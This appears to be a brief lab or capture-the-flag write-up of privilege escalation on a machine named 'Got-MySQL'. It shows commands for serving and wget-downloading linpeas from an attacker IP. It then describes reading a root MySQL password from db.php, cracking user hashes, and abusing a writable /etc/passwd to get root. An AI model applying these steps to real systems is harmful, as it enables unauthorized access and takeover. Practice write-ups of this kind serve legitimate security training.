privilege escalation [Got-MySQL]

linpeas.sh result:

I will use port 21 to transfer file as this the port which is allowed to communicate with outsite world that is kali linux in our case.

python3 -m http.server 21 -d /usr/share/peass/linpeas/

# In victim machine
wget http://192.168.45.233:21/linpeas.sh

Reading db.php file content

This files reveals the password of root user.

Using this i got the connection to MySql server.

Now, I will enumerate the data in MySQL.

Found password for michael. which is one of the user.

Found password

The password is encypted. So, Let's decrypt it using cyberchef.

All password:

I tried these password on root as well but no output.

Now switch to michael user.

On looking at the /etc/passwd, I found that it is written by current user that is michael.

Exploiting this.

Got root shell.

Last updated

Was this helpful?